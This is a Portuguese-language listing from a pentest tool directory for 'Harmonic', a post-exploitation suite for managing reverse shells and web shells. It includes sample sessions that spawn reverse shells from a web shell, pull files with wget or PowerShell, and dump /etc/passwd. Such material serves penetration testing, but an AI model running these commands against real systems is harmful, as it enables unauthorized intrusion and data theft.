Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Harmonic — Suite para gerenciamento de reverse shells voltada para trabalhar dentro do shell nativo | Kitploit
Ferramentas/GitLabGitLab/runik/harmonic
Escalada de PrivilégiosScripting e AutomaçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoGeração de ShellcodeDesenvolvimento de Payloads
16há 8 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitLab
runik/harmonic

Harmonic

Suite para gerenciamento de reverse shells voltada para trabalhar dentro do shell nativo

Ver Repositório

Harmonic Suite

Início de um conjunto de ferramentas Linux para gerir e interagir com reverse shells (o código ainda está num estado rápido e sujo, com pouco tratamento de exceções). Com forte inspiração na filosofia UNIX, a ideia básica é ter um daemon para lidar com endpoints arbitrários (connd, embora ainda não seja um daemon propriamente dito, pode ser executado num terminal separado) e executar ferramentas contra esses endpoints.

Os endpoints são 'conduzidos' por um script ou processo e são expostos como ficheiros no sistema de ficheiros; depois, um cliente de software leve pode ser usado para interagir com eles, mas também podem ser gravados e lidos facilmente com comandos de shell. Na verdade, poder executar os scripts de forma autónoma a partir do shell é um fator de design fundamental, em que, idealmente, um script dependerá, no máximo, da existência de um endpoint, mas também pode ser usado em combinação (em cascata).

As opções atuais de endpoint são:

  • nc - Cria um endpoint netcat numa porta específica
  • wsh - Um shell contextual usado para interagir com um script básico de web shell
  • with - Executa um processo arbitrário como endpoint

O cliente de software leve (hthinc.py) fornece uma interface básica para o endpoint do sistema, bem como a execução rápida de scripts contra o sistema. Vários scripts básicos mas úteis foram escritos:

  • sp - executa uma enumeração contra um sistema Linux remoto, determina linguagens de script (atualmente apenas python), inicia um novo endpoint e cria um shell interativo através do endpoint atual para se ligar ao novo endpoint. Se um driver for especificado, ignora a enumeração e tenta usar o driver
  • lpc - Executa o script Linux Priv Escalation Checker contra o sistema através do endpoint
  • log - Regista o resultado de um comando no diretório de trabalho atual
  • mac - Executa uma macro predefinida contra o endpoint (conforme definido na secção de macros de $HCROOT/.hcrc
  • pull - Um script de macro para wget que descarrega ficheiros de um portal de despacho (linux)
  • fpull - Um script de macro para fetch que descarrega ficheiros de um portal de despacho (*bsd)
  • wpinit - Enumera motores de script do Windows (atualmente apenas VB) e gera um script de portal de ficheiros para usar com wpull
  • vbpull - Um script de macro para o script portal.vbs (ver: wpinit) para puxar ficheiros de um portal de despacho (windows)
  • pspull - Um script de macro para usar o PowerShell para puxar um ficheiro de um portal de despacho (windows)

Os tipos de drivers de reverse shell (ou seja, o que está a conduzir o shell no sistema remoto) são os seguintes (atualmente com suporte para Linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Outros scripts:

  • hgenrsh.py - gera um comando python de reverse shell (comprimido e codificado em base64) que pode bifurcar o processo em execução
  • hcmd.py - executa um comando a partir do ambiente local
  • hscr.py - executa um script com hook
  • hdis.py - escuta uma ligação e envia dados arbitrários para o cliente a partir do stdin
  • sys/bin/hpd.py - Servidor de portal de despacho para puxar ficheiros usando o protocolo HTTP

Exemplo de utilização

  • Para o exemplo, $HCROOT aponta para o diretório deste repositório (ver configuração no final)
  • o connd está a correr como daemon ou como processo normal.
    • Pode ser executado a partir de $HCROOT/sys/bin/connd (precisa de ser compilado primeiro)

Diga ao connd para iniciar um endpoint, usando um driver de wedge shell contra o script php fornecido, que faz chamadas de sistema com resposta formatada. No entanto, este script de uma única linha poderia igualmente ter sido injetado como código num log de servidor

$ hconnd.py start wsh http://example.com/hwsh.php
1

Isto criou o endpoint 1 (dois pipes de I/O -- pode vê-los como t1i e t1o no subdiretório run). Agora usamos o hthinc.py para interagir com o shell.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Sabemos que é uma máquina Linux. Queremos sair de um web shell encravado e obter um shell adequado. Executar o comando integrado !help fornece a mensagem de ajuda do thinc. Podemos executar um script sp, que executará automaticamente comandos no sistema remoto, enumerará o ambiente, iniciará um endpoint nc, criará um reverse shell e entrará automaticamente através de um novo hthinc.py:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Ou, se soubermos que estamos a usar (por exemplo) PHP como driver, podemos especificá-lo:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

E digamos que temos um shell sem TTY ou queremos sair dele; podemos executar uma das macros predefinidas:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Além disso, se quisermos registar a saída de um comando, podemos usar o script log, que a guardará no diretório de trabalho atual:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Enquanto os endpoints estão em execução, pode anexar/desanexar clientes, pois os processos de ligação são geridos pelo daemon

Repetir rapidamente

Como tudo pode ser executado de forma mais unixy, podemos repetir processos rapidamente a partir do shell. Iniciamos um endpoint de webshell, obtemos o ID do endpoint e, a partir do shell, executamos o script gerador sp.py contra o endpoint (é o mesmo script usado no hthinc.py, mas com um ponto de entrada diferente).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

ou como one-liner:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

e automatizar facilmente:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Executar um comando a partir do seu ambiente local

A ferramenta hcmd.py permite-lhe executar rapidamente um comando através de um endpoint a partir do seu shell

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

e canalizar ou redirecionar os resultados como habitualmente

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Manter o controlo dos endpoints

Baixar ferramenta